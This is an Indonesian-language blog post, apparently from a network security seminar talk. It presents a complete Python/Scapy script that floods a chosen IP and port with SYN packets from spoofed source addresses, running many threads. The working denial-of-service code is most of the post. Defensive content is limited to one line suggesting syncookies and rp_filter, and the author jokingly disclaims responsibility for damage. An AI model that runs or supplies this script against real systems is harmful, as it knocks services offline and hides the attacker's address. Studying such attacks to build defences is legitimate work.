Waktu itu sempat muter-muter nyari sedikit referensi tentang network security, yang gw garis bawahi pembahasannya mengenai "sniffing, spoofing, tunneling dan DDOS", akhirnya nyampe juga ke situsnya antox dan ngeliat ramuan skrip SYNflood-nya yang di kombinasikan dengan spoof IP dan di tulis dengan bahasa C, karena gw dah lama gak mengkode dengan C akhirnya cukup untuk mengerti logic-nya saja dah, dan karena waktu yang tidak cukup jadi belun sempet mengkode skrip yang sama berbasiskan pyton untuk acara idsecconf tersebut.
Sabtu kemarin, di acara seminar Network security anak-anak UNAS yang gw kasih tema "attack the (own) network, so you`ll survive" (semakin menguatkan gw untuk kembali nguprek soal network), akhirnya gw sempet juga ngulik skrip denial of service untuk tipe syn flood yang kali ini berbasiskan python dan scapy, disertai fitur spoofing IP (randomize) serta menggunakan dukungan module threadingnya python, nah karena gw dadakan belajar threadingnya, jadi buat stopnya masih belun clean, penggunaan raw_input tuk capture keystroke (e.g : 'q') tidak maksimal digunakan, terpaksa menggunakan Ctrl C, or Ctrl Z + kill PID (ada yang bisa bantu?) , iks
but, whatever lah, pokokoke.. here are the code, segala kerusakan akibat kode ini tidak di tanggung pembuat, hehehe.. dan harap maklum kalo amburadul dan pastinya tidak mengikuti kode etik penulisan python, sori om guido :P ..
1 #!/usr/bin/env python
2 # y3dips POC for syndos with ipspoof netsec @unas 27-12-08
3
4 from scapy.all import * #for a buggy scapy module with python version issue
5 import sys, threading, string, random
6
7 if len(sys.argv) != 3:
8 print "Usage: %s [ip target] [port]" % sys.argv[0]
9 sys.exit(1)
10
11 target = sys.argv[1]
12 port = string._int(sys.argv[2])
13
14 thread_limit = 50
15 x = 0
16 a = random.randint(1,254)
17
18 class floodsyn(threading.Thread):
19 def __init__(self):
20 threading.Thread.__init__(self)
21 def run(self):
22 ip =IP(src = "%i.%i.%i.%i" % (a,a,a,a),dst = target)
23 tcp = TCP(sport=random.randint(1,65535),dport=port,flags='S')
24 send(ip/tcp, verbose=0)
25
26 print "Melakukan Flooding %s di port %i dengan paket SYN." % (target, port)
27 while 1:
28 if threading.activeCount() < thread_limit:
29 floodsyn().start()
30 x += 1
31 sys.stdout.write("\rJumlah Paket Terkirim:\t\t%i" %x)
Untuk mengatasi syn flood anda bisa mengaktifkan syncookies dan rp_filter di Os, banyak bacaan bagus untuk mengatasinya.
Ok, kiddo, keep it with your own risk. ;)
14 comments: